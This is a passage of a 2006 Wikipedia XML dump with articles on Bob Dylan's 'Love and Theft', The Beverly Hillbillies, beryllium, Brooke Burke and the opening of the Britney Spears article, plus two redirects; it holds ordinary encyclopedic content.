#&quot;High Water (For Charlie Patton)&quot; - 4:04
#&quot;Moonlight&quot; - 3:23
#&quot;Honest with Me&quot; - 5:49
#&quot;Po' Boy&quot; - 3:05
#&quot;Cry a While&quot; - 5:05
#&quot;Sugar Baby&quot; - 6:40

==Trivia==

*The lyrics to Summer Days, ''She says, &quot;You can't repeat the past.&quot; I say, &quot;You can't? What do you mean, you can't? Of course you can&quot;'' are a reference to [[F. Scott Fitzgerald]]'s novel [[The Great Gatsby]] which includes the following dialogue: &quot;'Can't repeat the past?' he cried incredulously. 'Why of course you can!'&quot;  However, no potential court case came out of ''this''.

==Personnel==

*Bob Dylan - vocals, guitar, piano
*[[Larry Campbell (musician)|Larry Campbell]] - guitar, banjo, mandolin, violin
*[[Charlie Sexton]] - guitar
*[[Tony Garnier (musician)|Tony Garnier]] - bass
*[[Augie Meyers]] - accordion, Hammond B3 &amp; Vox organs
*[[David Kemper]] - drums
*[[Clay Meyers]] - bongos
{{Bob Dylan}}
[[Category:2001 albums|Love and Theft]][[Category:Bob Dylan albums|Love and Theft]][[Category:Columbia Records albums|Love and Theft]]

[[fr:Love and Theft]]</text>
    </revision>
  </page>
  <page>
    <title>The Beverly Hillbillies</title>
    <id>3376</id>
    <revision>
      <id>41747843</id>
      <timestamp>2006-03-01T13:27:43Z</timestamp>
      <contributor>
        <ip>216.239.9.103</ip>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">{{dablink|This article is about the TV series. There is also an article about the [[The Beverly Hillbillies (1993 movie)|motion picture of the same title]].}}
[[Image:Hillbillies1.jpg|thumb|right|250px|''The Beverly Hillbillies'']]
'''''The Beverly Hillbillies''''' is a [[television program|TV]] [[situation comedy|sitcom]] about a [[hillbilly]] family living in modern urban society.

The patriarch strikes [[petroleum|oil]] while [[hunting]] on his land near fictional Bugtussle. He then listens to the advice of friends, neighbors and extended family members, and moves with his family to [[Beverly Hills, California|Beverly Hills]], [[California]], with the resultant [[wealth]].

A [[Filmways, Inc.|Filmways]] production, the series aired on [[CBS]] from [[September 26]], [[1962 in television|1962]] to [[September 7]], [[1971 in television|1971]].

Despite its being panned by [[critic]]s, ''The Beverly Hillbillies'' shot to the top of the [[Nielsen Ratings]] shortly after its premiere and stayed there for several seasons. It was high in the ratings throughout most of its run.

==Background==
The series starred [[Buddy Ebsen]] as the widowed patriarch, Jedidiah &quot;Jed&quot; Clampett; [[Irene Ryan]] as his mother-in-law, Granny (Daisy Moses); [[Donna Douglas]] as his daughter, Elly May; [[Max Baer, Jr.]] as his nephew, Jethro Bodine, (sometimes playing Jethro's twin sister, Jethrene, on early shows); [[Raymond Bailey]] as Jed's greedy banker, Milburn Drysdale; [[Harriet E. MacGibbon]] as Drysdale's snobbish wife, Margaret; and [[Nancy Kulp]] as Drysdale's [[secretary]], Miss Jane Hathaway, who pined for the clueless Jethro.

In the beginning, Jed's cousin, Pearl (Jethro's mother, played by [[Bea Benaderet]]), also appeared. 

The [[Theme music|theme song]], &quot;[[The Ballad of Jed Clampett]],&quot; ([[Media:Ballad of Jed Clampett.ogg|listen]]) was written by producer and writer [[Paul Henning]] and originally performed by [[Bluegrass music|Bluegrass]] artists [[Flatt and Scruggs]]. It was #44 on the music [[Billboard magazine|charts]] in [[1962 in music|1962]]. Flatt and Scruggs made several guest appearances as themselves, and as potential suitors for Pearl.

==Unusual storylines==
Most storylines revolved around the clash between the &quot;uncivilized&quot; hillbilly [[culture]] the Clampetts represented and the &quot;civilized&quot; [[United States|American]] culture the Drysdales represented. The Clampetts lived as they always had, even in their large, elegant mansion, never abandoning their mountain attire or replacing the old rattletrap truck that they moved to California in. They continued to grow their own food; and Granny made [[Sodium hydroxide|lye]] [[soap]] and [[moonshine]].

A running theme during the series involved the outlandish efforts Mr. Drysdale took to keep the Clampetts in Beverly Hills (and their money in his bank). Such desires to return to the mountains were often prompted by Granny after some perceived slight she received from the &quot;city-folk&quot; around them. Drysdale went so far as to recreate the [[log cabin]] the Clampetts lived in and place it right next to the swimming pool and the [[still]] Granny had installed to make [[moonshine]] (&quot;for medicinal purposes&quot;).

==Characters==
Although having little formal education, Jed had good common sense, Granny had insights into human nature, and Elly May was a strong capable girl. However Jethro, was incredibly ignorant and self centered. Granny styled herself an &quot;M.D.&quot; - &quot;mountain doctor&quot; - claiming to have a complete knowledge of [[herbs]], potions and tonics. Elly May had a deep rapport with all animals and adopted a great diversity of them, including [[raccoon]]s and a [[chimpanzee]], as her &quot;critters.&quot; Another running joke was her poor culinary skills; the results were not only inedible but, when the clan discreetly fed her meals to the backyard plants as so not to hurt her feelings, the plants died.

Elly May was as stunningly [[beauty|beautiful]] as she was naïve, and was squired about by eager young [[Hollywood, Los Angeles, California|Hollywood]] [[actor]]s with [[stage name]]s like &quot;Dash Riprock&quot; and &quot;Bolt Upright.&quot; (Obvious puns on the actors [[Rock Hudson]] and [[Rip Torn]].)  Jethro called himself &quot;Beef Jerky,&quot; imagining himself a [[playboy]] and sophisticated man-about-town. He was particularly proud of his [[education]]: he spent 12 years at school - before passing the sixth grade. After that, he decided to go to college. He managed to enroll late in the semester at a local secretarial school due to his financial backing, and earned his diploma by the end of the day because he didn't understand what was going on in class and was too disruptive. 

The family called their [[swimming pool]] &quot;the cement pond.&quot; They were fascinated by it, but never seemed to grasp its intended use. Another running joke was that they never discovered the source of the sound that took place a few times prior to someone showing up at the front door (the [[doorbell]]).

The Drysdales were also pretty foolish. Although Mrs. Drysdale's had obvious disdain for their neighbors, Mr. Drysdale was willing to do anything to keep them next door so as to not lose control of their millions in his bank. Episodes in [[1962 in television|1962]] and [[1966 in television|1966]] featured his ne'er-do-well stepson, Sonny (played by [[Louis Nye]]), a Mama's Boy whose &quot;career&quot; was going to [[college]]. Sonny was at one point a potential husband for Elly May. When he jilted her, there was nearly a feud. All the while, Mrs. Drysdale led outlandish campaigns to rid her city of the uncouth hillbillies.

Jed's [[Bloodhound]] Duke, played by the canine actor &quot;Stretch&quot; [http://www.tvacres.com/dogs_hounds_duke.htm], was also a constant thorn in Mrs. Drysdale's side. In addition to his baying and digging, he made her [[Poodle|French Poodle]] Claude a [[cuckold]], by fathering the puppies of his intended mate.

==One of a breed==
The show was never too serious. It was a [[farce]], pure and simple, with a lot of [[slapstick]] and word-play. After its run, one TV critic had called the premise of the show simply, &quot;One joke, nine years.&quot;  It was still fairly popular when it was canceled after 274 [[episode]]s, but the CBS [[television network|network]] wanted to change its image as a &quot;rural&quot; network. This shift was mainly prompted by pressure from [[Advertising|advertisers]] seeking a more sophisticated [[Urban culture|urban]] audience to [[marketing|market]] products to. Other rural themed comedy shows were also canceled, including ''[[Petticoat Junction]]'' ([[1963 in television|1963]]-[[1970 in television|1970]]) (starring [[Bea Benaderet]] and [[Edgar Buchanan]]), ''[[Green Acres]]'' ([[1965 in television|1965]]-[[1971 in television|1971]]) (starring [[Eddie Albert]] and [[Eva Gabor]]), [[Mayberry R.F.D.]] ([[1968 in television|1968]]-[[1971 in television|1971]]) (starring [[Ken Berry]] and [[Frances Bavier]]), and ''[[Hee Haw]]'' ([[1969 in television|1969]]-[[1971 in television|1971]]) (starring [[Buck Owens]] and [[Roy Clark]]), the latter then moving to &quot;first-run&quot; [[television syndication|syndication]], where it ran for another 21 years.

[[Rerun]]s of ''The Beverly Hillbillies'' are still televised daily around the world in syndication.

==The Hillbillies on video==
The first two seasons of the series are in the [[public domain]] (their copyrights having not been renewed by CBS, which bought the rights to the series shortly after its cancellation). As a result, these episodes have been unofficially released on home video and DVD on many low-budget labels, and shown on low-power television stations and low-budget networks in mostly murky 16mm prints. In many video prints of the public domain episodes, the original theme music is replaced by generic music due to copyright issues.
 
However, before his death, [[Paul Henning]] (whose estate now holds the original film elements to the &quot;public domain&quot; episodes) authorized [[MPI Home Video]] to officially release the best of the first two seasons on DVD, the first &quot;ultimate collection&quot; of which was released in the fall of 2005. These collections include the original, uncut versions of the season one episodes, complete with their original theme music and opening sponsor plugs. Vol. 1 included, among its bonus features, the alternate, unaired version of the pilot film, &quot;The Hillbillies Of Beverly Hills&quot; (this is the version of the episode that sold the series to CBS), and the &quot;cast commercials&quot; (cast members pitching the products of the show's sponsors) originally shown at the end of each episode.

For many years, [[20th Century Fox]] Home Entertainment (under license from CBS) officially released select episodes of &quot;Hillbillies&quot; on videocassette until Paramount (through its merger with CBS and Viacom) took over the video rights. Paramount (through CBS DVD) has announced plans to release the copyrighted episodes in box sets for late 2006.

==Frequently used [[malapropism|malapropisms]], colloquial terms and phrases==
*cee-ment pond (the swimming pool)
*critters (any animal ''par.''Elly May's assorted pets)
*A bil-yerd*(The stuffed rhino-head in the billiard room)
*fancy eatin' room (the billiard room)
*fancy eatin' table (the billiard table)
*pot passers (pool cues) 
*fancy leather lunch boxes (briefcases)
*feelin' lower than a well digger's heel
*frisky as a flea on a fat dog
*green (naive, gullible, easily deceived)
*He was only greenin' ya! (He was only fooling you!)
*If brains were lard, his wouldn't grease too big a pan
*p-new-moe-nie (pneumonia)
*polecat (a skunk)
*pretty as a bag filled with stripped candy
*pretty as fresh-churned butter
*pretty as a mess o' fried catfish
*rootin' around like a hog in a new pen
*set a spell (sit for a while)
*spark/sparkin' (court/courting, date/dating)
*squawking like a two-pound chicken laying a three-pound egg
*vittles (victuals; food)
*We-e-e-ll doggies! (Jed's chracteristic expression of impressed astonishment) 
*You're green enough to stick in the ground and grow
*You're totin' water with a leaky bucket
*deep fried in possum fat (a method of cooking)
*You're dropping your bucket down an empty well
*I'm gonna fetch my shotgun  
*One of these days I've got to have a long talk with that boy

==Complete theme song==
::The Ballad of Jed Clampett
::performed by [[Jerry Scoggins]]

:&quot;Come and listen to my story 'bout a man named Jed, 
:a poor mountaineer, barely kept his fam'ly fed. 
:Then one day he was shootin' at some food, 
:and up from the ground come a bubblin' crude,
 
::oil that is, black gold, Texas tea.

:Well the first thing you know ol' Jed's a millionaire.
:The kinfolk said, Jed, move away from there. 
:They said, Californy is the place you oughta be, 
:so they loaded up the truck and they moved to Beverly, 

::Hills that is, swimmin' pools, movie stars.

:Ol' Jed bought a mansion, lawdy it was swank, 
:next-door neighbor was pres'dent of the bank. 
:Lotsa folks objected, but the banker found no fault, 
:'cause ol' Jed's millions was a-layin' in the vault, 

::cash that is, capital gains, depletion money.

:Well now it's time to say goodbye to Jed and all his kin,
:they would like to thank you folks for kindly droppin' in. 
:You're all invited back next week to this locality, 
:to have a heapin' helpin' of their hospitality, 

::hillbilly that is, set a spell, take your shoes off,
::y'all come back now, ya hear?&quot;

==Trivia==
*The actual mansion where the exterior for the Clampett home was at 750 Bel Air Road, [[Bel Air, Los Angeles, California|Bel Air]].

*While the series remained comedic, during its run in the late [[1960]] and early [[1970s]] the show did intergrate various social issues such as [[feminism]], [[beatniks]], [[hippies]], the youth movement and even [[civil rights]].  The greedy Mr. Drysdale succussfully blocked efforts by his bank employees to form a labor union or to get health insurence.

==See also==
*'In [[1993]] a remake of the series was releasd. '[[The Beverly Hillbillies (1993 movie)|The Beverly Hillbillies]]'' (motion picture).

==External links==
*{{imdb title|id=0055662|title=The Beverly Hillbillies}}
*[http://morethings.com/fan/beverly_hillbillies/index.htm The High Art of the Beverly Hillbillies] Analysis and extensive photo galleries
*[http://www.lyricsondemand.com/tvthemes/beverlyhillbillieslyrics.html Lyrics to &quot;The Ballad of Jed Clampett&quot;]
*[http://www.sitcomsonline.com/thebeverlyhillbillies.html Sitcoms Online]
*[http://www.museum.tv/archives/etv/B/htmlB/beverlyhillb/beverlyhillb.htm Encyclopedia of Television]
*[http://www.fiftiesweb.com/tv/beverly-hillbillies.htm Classic TV Shows]
*[http://www.televisionheaven.co.uk/beverly.htm Television Heaven]
*[http://www.mortysmall.com/beverly_hillbilies.shtml Morty's TV Showcase ''The Beverly Hillbillies'']
*[http://www.prewarbuick.com/id367.htm ''The Beverly Hillbillies'' and Buick?]
*[http://www.strike-the-root.com/columns/Allen/allen4.html Strike The Root - ''The Beverly Reali-billies'']

[[Category:1960s TV shows in the United States|Beverly Hillbillies, The]]
[[Category:1970s TV shows in the United States|Beverly Hillbillies, The]]
[[Category:CBS network shows|Beverly Hillbillies, The]]
[[Category:Sitcoms|Beverly Hillbillies, The]]
[[Category:Nielsen Ratings winners|Beverly Hillbillies, The]]</text>
    </revision>
  </page>
  <page>
    <title>Boethius</title>
    <id>3377</id>
    <revision>
      <id>41116939</id>
      <timestamp>2006-02-25T03:54:43Z</timestamp>
      <contributor>
        <username>Melchoir</username>
        <id>454640</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Boëthius]]</text>
    </revision>
  </page>
  <page>
    <title>Beryllium</title>
    <id>3378</id>
    <revision>
      <id>41414265</id>
      <timestamp>2006-02-27T04:04:00Z</timestamp>
      <contributor>
        <username>VolatileChemical</username>
        <id>264030</id>
      </contributor>
      <comment>/* Occurrence */</comment>
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'''Beryllium''' is the [[chemical element]] in the [[periodic table]] that has the symbol '''Be''' and [[atomic number]] 4. A toxic [[bivalent]] element, beryllium is a steel grey, strong, light-weight yet brittle, [[alkaline earth]] [[metal]], that is primarily used as a hardening agent in [[alloy]]s (most notably [[beryllium copper]]).

== Notable characteristics ==
Beryllium has one of the highest [[melting point|melting points]] of the light [[metal]]s. The [[modulus of elasticity]] of beryllium is approximately 1/3 greater than that of steel. It has excellent [[thermal conductivity]], is nonmagnetic and resists attack by concentrated [[nitric acid]]. It is highly permeable to [[X-ray]]s, and [[neutron]]s are liberated when it is hit by [[alpha particle]]s, as from [[radium]] or [[polonium]] (about 30 neutrons/million alpha particles). At [[standard temperature and pressure]]s beryllium resists [[oxidation]] when exposed to air (although its ability to scratch glass is probably due to the formation of a thin layer of the oxide).

== Applications ==
* Beryllium is used as an [[alloy]]ing agent in the production of beryllium-[[copper]] because of its ability to absorb large amounts of heat. Beryllium-copper alloys are used in a wide variety of applications because of their [[electrical conductivity|electrical]] and [[thermal conductivity]], high strength and [[hardness]], nonmagnetic properties, along with good corrosion and fatigue resistance. These applications include the making of spot-[[welding]] electrodes, [[Spring_(device)|spring]]s, non-sparking tools and [[electrical contact]]s.
* Due to their stiffness, light weight, and dimensional stability over a wide temperature range, beryllium-copper alloys are also used in the defense and aerospace industries as light-weight structural materials in high-speed aircraft, missiles, space vehicles and [[communication satellite]]s.
* Thin sheets of beryllium foil are used with [[X-ray]] detection diagnostics to filter out visible light and allow only X-rays to be detected.
* In the field of X-ray lithography beryllium is used for the reproduction of microscopic [[integrated circuit]]s.
* Because it has a low [[thermal neutron]] absorption cross section, the nuclear power industry uses this metal in [[nuclear reactor]]s as a neutron reflector and moderator.
* Beryllium is used in nuclear weapons for similar reasons. For example, the [[critical mass]] of a plutonium sphere is significantly reduced if the plutonium is surrounded by a beryllium shell.
* Beryllium is sometimes used in [[neutron source]]s, in which the beryllium is mixed with an alpha emitter such as [[polonium]] 210, [[radium]] 226, [[plutonium]] 239 or [[americium]] 241.
* Beryllium is also used in the making of [[gyroscope]]s, various [[computer]] equipment, watch springs and instruments where light-weight, rigidity and dimensional stability are needed.
* [[Beryllium oxide]] is useful for many applications that require an excellent heat conductor, with high strength and hardness, with a very high melting point, and that acts as an electrical insulator.
* Beryllium compounds were once used in [[fluorescent light]]ing tubes, but this use was discontinued because of [[berylliosis]] in the workers manufacturing the tubes (see below).
* The [[James Webb Space Telescope]] [http://www.jwst.nasa.gov/Telescope/mirrortale/ (Beryllium related details from NASA here)] will have 18 hexagonal beryllium sections for its mirrors.  Because JWST will face a temperature of &amp;minus;240 degrees Celsius (30 kelvin), the mirror is made of beryllium, a material capable of handling extreme cold better than glass. Beryllium contracts and deforms less than glass &amp;mdash; and thus remains more uniform &amp;mdash; in such temperatures.

== History ==
The name beryllium comes from the [[Greek language|Greek]] ''beryllos'', beryl, from [[Prakrit]] ''veruliya'', from [[Pāli]] ''veuriya''; possibly from or simply akin to a [[Dravidian]] source represented by [[Tamil language|Tamil]] ''veiruor'', ''viar'', &quot;to whiten, become pale.&quot; [http://www.bartleby.com/61/74/B0207400.html] At one time beryllium was referred to as '''glucinium''' (from [[Greek language|Greek]] ''glykys'', sweet), due to the sweet taste of its [[salt]]s. This element was discovered by [[Louis Vauquelin]] in [[1798]] as the oxide in [[beryl]] and in [[emerald]]s. [[Friedrich Woehler|Friedrich Wöhler]] and [[Antoine Bussy|A. A. Bussy]] independently isolated the metal in [[1828]] by reacting [[potassium]] and [[beryllium chloride]].

== Occurrence ==
Beryllium is an essential constituent of about 100 out of about 4000 known [[mineral]]s, the most important of which are [[bertrandite]] (Be&lt;sub&gt;4&lt;/sub&gt;Si&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;7&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;), [[beryl]] (Al&lt;sub&gt;2&lt;/sub&gt;Be&lt;sub&gt;3&lt;/sub&gt;Si&lt;sub&gt;6&lt;/sub&gt;O&lt;sub&gt;18&lt;/sub&gt;), [[chrysoberyl]] (Al&lt;sub&gt;2&lt;/sub&gt;BeO&lt;sub&gt;4&lt;/sub&gt;), and [[phenakite]] (Be&lt;sub&gt;2&lt;/sub&gt;SiO&lt;sub&gt;4&lt;/sub&gt;). Precious forms of beryl are [[aquamarine]] and [[emerald]]. Along with [[hydrogen]], [[helium]], and [[lithium]], some beryllium was created in the [[big bang]].

The most important commercial sources of beryllium and its compounds are beryl and bertrandite. Beryllium metal did not become readily available until [[1957]]. Currently, most production of this metal is accomplished by reducing [[beryllium fluoride]] with [[magnesium]] metal. The price on the US market for vacuum-cast beryllium ingots was 338 [[United States dollar|US$]] per pound ($745/kg) in 2001. [http://minerals.usgs.gov/minerals/pubs/commodity/beryllium/]

:BeF&lt;sub&gt;2&lt;/sub&gt; + Mg &amp;rarr; MgF&lt;sub&gt;2&lt;/sub&gt; + Be

See also [[:category:Beryllium minerals|beryllium minerals]].

== Isotopes ==
[[Image:Solar Activity Proxies.png|thumb|right|300px|Plot showing variations in solar activity, including variation in &lt;sup&gt;10&lt;/sup&gt;Be concentration.]]

Of beryllium's 10 [[isotope]]s, only beryllium-9 is stable. [[Cosmogenic]] beryllium-10 is produced in the [[Earth's atmosphere|atmosphere]] by [[cosmic ray]] [[spallation]] of [[oxygen]] and [[nitrogen]]. Because beryllium tends to exist in [[solution]] at [[pH]] levels less than about 5.5 (and most rainwater has a pH less than 5), it will enter into solution and be transported to the Earth's surface via rainwater. As the [[precipitation (chemistry)|precipitation]] quickly becomes more [[alkaline]], beryllium drops out of solution. Cosmogenic beryllium-10 thereby accumulates at the [[soil]] surface, where its relatively long [[half-life]] (1.51 million years) permits a long residence time before decaying to boron-10. Beryllium-10 and its daughter products have been used to examine [[soil erosion]], [[soil formation]] from [[regolith]], the development of [[laterite|lateritic soils]], as well as variations in [[solar activity]] and the age of [[ice core]]s.

The fact that beryllium-7 and beryllium-8 are unstable has profound cosmological consequences as it means that elements heavier than beryllium could not be produced by nuclear fusion in the [[Big Bang]].  Moreover, the  nuclear energy levels of beryllium-8 are such that carbon can be produced within stars, thus making life possible. (See [[triple-alpha process]] and [[Big Bang nucleosynthesis]]).

The shortest-lived known isotope of beryllium is beryllium-13 which decays through [[neutron emission]]. It has a half-life of 2.7&amp;nbsp;&amp;times;&amp;nbsp;10&lt;sup&gt;-21&lt;/sup&gt; seconds. Be-6 also is also very short-lived with a half-life of 5.0&amp;nbsp;&amp;times;&amp;nbsp;10&lt;sup&gt;-21&lt;/sup&gt; seconds.

== Precautions ==
[[Image:Beryllium_OreUSGOV.jpg|thumb|Beryllium ore]]
Beryllium and its salts are [[toxic]] substances and potentially [[carcinogen]]ic. Chronic [[berylliosis]] is a pulmonary and systemic granulomatous disease caused by exposure to beryllium. Acute beryllium disease in the form of chemical pneumonitis was first reported in Europe in 1933 and in the United States in 1943. Cases of chronic berylliosis were first described in 1946 among workers in plants manufacturing [[fluorescent lamp]]s in Massachusetts. Chronic berylliosis resembles [[sarcoidosis]] in many respects, and the differential diagnosis is often difficult.

Although the use of beryllium compounds in fluorescent lighting tubes was discontinued in 1949, potential for exposure to beryllium exists in the nuclear and aerospace industries and in the refining of beryllium metal and melting of beryllium-containing alloys, the manufacturing of electronic devices, and the handling of other beryllium-containing material.

Early researchers tasted beryllium and its various compounds for sweetness in order to verify its presence. Modern diagnostic equipment no longer necessitates this highly risky procedure and no attempt should be made to ingest this substance. Beryllium and its compounds should be handled with great care and special precautions must be taken when carrying out any activity which could result in the release of beryllium dust ([[lung cancer]] is a possible result of prolonged exposure to beryllium laden dust).

This substance can be handled safely if certain procedures are followed. No attempt should be made to work with beryllium before familiarization with correct handling procedures.

==Health effects==
Beryllium can be harmful if inhaled. The effects depend on period of exposure. If beryllium air levels are high enough (greater than 1000 µg/m&amp;sup3;), an acute condition can result, called acute beryllium disease, which resembles pneumonia. Occupational and community air standards are effective in preventing most acute lung damage.  Long term exposure to beryllium can increase the risk of developing lung cancer.

Some people (1-15%) become sensitive to beryllium. These individuals may develop an inflammatory reaction in the respiratory system. This condition is called chronic beryllium disease (CBD), and can occur many years after exposure to higher than normal levels of beryllium (greater than 0.2 µg/m&amp;sup3;). This disease causes fatigue, weakness, and can cause difficulty in breathing. It can result in anorexia, weight loss, and may also lead to right-side heart enlargement and heart disease in advanced cases. Some people who are sensitized to beryllium may not have any symptoms. The general population is unlikely to develop acute or chronic beryllium disease because ambient air levels of beryllium are normally very low (0.00003-0.0002 µg/m&amp;sup3;).

Swallowing beryllium has not been reported to cause effects in humans because very little beryllium is absorbed from the stomach and intestines. Ulcers have been seen in dogs ingesting beryllium in the diet. Beryllium contact with skin that has been scraped or cut may cause [[rash]]es or ulcers.

The [[United States Department of Health and Human Services]] (DHHS) and the [[International Agency for Research on Cancer]] (IARC) have determined that beryllium is a human carcinogen. The U.S. [[Environmental Protection Agency]] (EPA) has determined that beryllium is a probable human carcinogen. The EPA has estimated that lifetime exposure to 0.04 µg/m&amp;sup3; beryllium can result in a one in a thousand chance of developing cancer.

There are no studies on the health effects of children exposed to beryllium. It is likely that the health effects seen in children exposed to beryllium will be similar to the effects seen in adults. It is unknown whether children differ from adults in their susceptibility to beryllium. It is unclear whether beryllium is [[teratogenic]].

Beryllium can be measured in the urine and blood. The amount of beryllium in blood or urine may not indicate time or quantity of exposure. Beryllium levels can also be measured in lung and skin samples.  Another blood test, the blood beryllium lymphocyte proliferation test (BeLPT), identifies beryllium sensitization and has predictive value for CBD.

Typical levels of beryllium that industries may release into the air are of the order of  0.01 µg/m&amp;sup3;, averaged over a 30-day period, or 2 µg/m&amp;sup3; of workroom air for an 8-hour work shift.

==References==
*[http://periodic.lanl.gov/elements/4.html Los Alamos National Laboratory &amp;ndash; Beryllium]

== External links==
{{Commons|Beryllium}}
* [http://www.compchemwiki.org/index.php?title=Beryllium Computational Chemistry Wiki]
* [http://education.jlab.org/itselemental/ele004.html It's Elemental &amp;ndash; Beryllium]
* [http://www-cie.iarc.fr/htdocs/monographs/vol58/mono58-1.htm IARC Monograph &quot;Beryllium and Beryllium Compounds&quot;]
* [http://www.npi.gov.au/database/substance-info/profiles/13.html National Pollutant Inventory - Beryllium and compounds]
* [http://www.webelements.com/webelements/elements/text/Be/index.html WebElements.com &amp;ndash; Beryllium]

[[Category:Chemical elements]]
[[Category:Alkaline earth metals]]
[[Category:Toxicology]]

[[af:Berillium]]
[[ar:بيريليوم]]
[[bg:Берилий]]
[[bs:Berilijum]]
[[ca:Beril·li]]
[[cs:Beryllium]]
[[cy:Beriliwm]]
[[da:Beryllium]]
[[de:Beryllium]]
[[et:Berüllium]]
[[el:Βηρύλλιο]]
[[es:Berilio]]
[[eo:Berilio]]
[[eu:Berilio]]
[[fr:Béryllium]]
[[gl:Berilio (elemento)]]
[[ko:베릴륨]]
[[hr:Berilij]]
[[io:Berilio]]
[[id:Berilium]]
[[is:Beryllín]]
[[it:Berillio]]
[[he:בריליום]]
[[ku:Berîlyûm]]
[[la:Beryllium]]
[[lv:Berilijs]]
[[lt:Berilis]]
[[hu:Berillium]]
[[mk:Берилиум]]
[[mi:Konuuku]]
[[ms:Berilium]]
[[nl:Beryllium]]
[[ja:ベリリウム]]
[[no:Beryllium]]
[[nn:Beryllium]]
[[oc:Berilli]]
[[pl:Beryl (pierwiastek)]]
[[pt:Berílio]]
[[ru:Бериллий]]
[[simple:Beryllium]]
[[sk:Berýlium]]
[[sl:Berilij]]
[[sr:Берилијум]]
[[fi:Beryllium]]
[[sv:Beryllium]]
[[th:เบริลเลียม]]
[[vi:Berili]]
[[tr:Berilyum]]
[[uk:Берилій]]
[[zh:铍]]</text>
    </revision>
  </page>
  <page>
    <title>Brilliant prose</title>
    <id>3379</id>
    <revision>
      <id>15901718</id>
      <timestamp>2004-01-21T12:16:55Z</timestamp>
      <contributor>
        <username>Gentgeen</username>
        <id>25065</id>
      </contributor>
      <comment>[[Wikipedia:Brilliant prose]] --&gt; [[Wikipedia:Featured articles]]</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:Featured articles]]</text>
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  </page>
  <page>
    <title>Brooke Burke</title>
    <id>3381</id>
    <revision>
      <id>41876567</id>
      <timestamp>2006-03-02T08:09:39Z</timestamp>
      <contributor>
        <username>JackO'Lantern</username>
        <id>716541</id>
      </contributor>
      <comment>re-formatted</comment>
      <text xml:space="preserve">[[Image:Playboy May 2001.jpg|thumb|Burke on the cover of [[Playboy]], May 2001]]
'''Brooke Burke''' (born [[September 8]], [[1971]]) is an [[United States|American]] [[television]] personality and [[Model (person)|model]].

==Early life==
Burke was born as the 4th of 7 children in [[Hartford, Connecticut]] and raised in [[Tucson, Arizona]]; her father, George Burke, is of [[Irish American|Irish]] and [[French American|French]] descent and her mother, Donna, is [[Jewish American|Jewish]]. Her parents divorced and her mother re-married to Armen Hatounian. She studied broadcast journalism at [[UCLA]], but was quickly signed to top agencies, including the renowned [[Ford Models]] Agency.  She did prominent television commercials for Bally Fitness clubs, [[Coca-Cola]], and [[Discover Card]].

==Career==
From 1999-2002, she was the host of ''[[Wild On!]]'', a popular travel series on the [[E! Entertainment Television channel]]. She appeared [[nude]] in the May 2001 and November 2004 issues of [[Playboy]].  She has also appeared numerous times in [[lad mags]] such as [[Maxim (magazine)|Maxim]] and [[FHM]]. 

[[E! Entertainment Television channel|E! network]] was looking for a replacement for popular host [[Jules Asner]] and found Brooke to be perfect for the role.  She travelled the world extensively, profiling many popular travel destinations across the globe.  Burke was replaced as host in 2002 by model [[Cindy Taylor]].

She has voiced &quot;Rachel&quot; in [[Electronic Arts]]' [[Computer and video games|video game]] ''[[Need for Speed: Underground 2]]'', and asks the &quot;People and Places&quot; questions in the new video game, [[Trivial Pursuit]] Unhinged.  Burke was also the host of the [[CBS]] reality show ''[[Rock Star: INXS]]''.

==Private life==
In July 2005, Brooke and her husband Dr. Garth Fisher announced they were separating. The couple, who have been married since 2001, have 2 daughters, Neriah, born March 2000, and Sierra Sky, born April 2002.

==External links==
*[http://www.brookeburke.com/ Official site for Brooke Burke]
*{{imdb name|id=1036361|name=Brooke Burke}}

[[Category:1971 births|Burke, Brooke]]
[[Category:Adult models|Burke, Brooke]]
[[Category:American models|Burke, Brooke]]
[[Category:American television personalities|Burke, Brooke]]
[[Category:Jewish American actors|Burke, Brooke]]
[[Category:Jewish American models|Burke, Brooke]]
[[Category:Living people|Burke, Brooke]]
[[Category:People from Connecticut|Burke, Brooke]]</text>
    </revision>
  </page>
  <page>
    <title>Britney Spears</title>
    <id>3382</id>
    <revision>
      <id>42154250</id>
      <timestamp>2006-03-04T04:25:03Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/129.82.41.232|129.82.41.232]] ([[User talk:129.82.41.232|talk]]) to last version by Prodego</comment>
      <text xml:space="preserve">{{Infobox_band
| band_name         = Britney Spears
| image             = [[Image:Britney Spears.jpg|200px|Britney Spears performing at the National Mall in [[Washington, DC]] in September 2003]]

| caption           = Britney Spears performing at the National Mall in [[Washington, DC]] in September 2003 along with her backing band, the P-Funk All-Stars.
| years_active      = 1998&amp;mdash;present
| origin            = [[Kentwood, Louisiana|Kentwood]], [[Louisiana]]
| music_genre       = [[Pop music|Pop]]
| record_label      = [[Jive Records|Jive]]
}}
'''Britney Jean Spears''' (born [[December 2]] [[1981]]) is an [[United States|American]] [[pop music|pop]] [[singer]]-[[songwriter]] and occasional [[actor|actress]]. 

Spears first came to fame as a member of the ''[[New Mickey Mouse Club]]'' in the early 1990s, taking a five-year break from entertainment after the show wrapped. She subsequently emerged at the forefront of the pop music scene in 1999, thanks to the crafting of her chart-topping debut album by producer-songwriter [[Max Martin]]. Her second album, released the following year, was a similarly huge hit.

In the early 2000s, Spears' success as a singer led her way to high-profile [[advertising]] deals (most notably for [[Pepsi]]), as well as forays into other forms of media, including [[film]] and [[reality television]]. Her third and fourth albums released during this era included more artistic input from Spears, but yielded lower sales. In 2004 she married [[Kevin Federline]], and the following year gave birth to their son Sean Preston. In 2006, she is set to resume her recording career.

With worldwide record sales topping the 85 million mark (as of 2006){{ref|WWSales}}, Britney Spears has become one of the most recognisable [[celebrity|celebrities]] and [[sex symbol]]s of her generation and is the biggest selling female artist of the 21st century.

==Biography==
===Childhood and discovery===
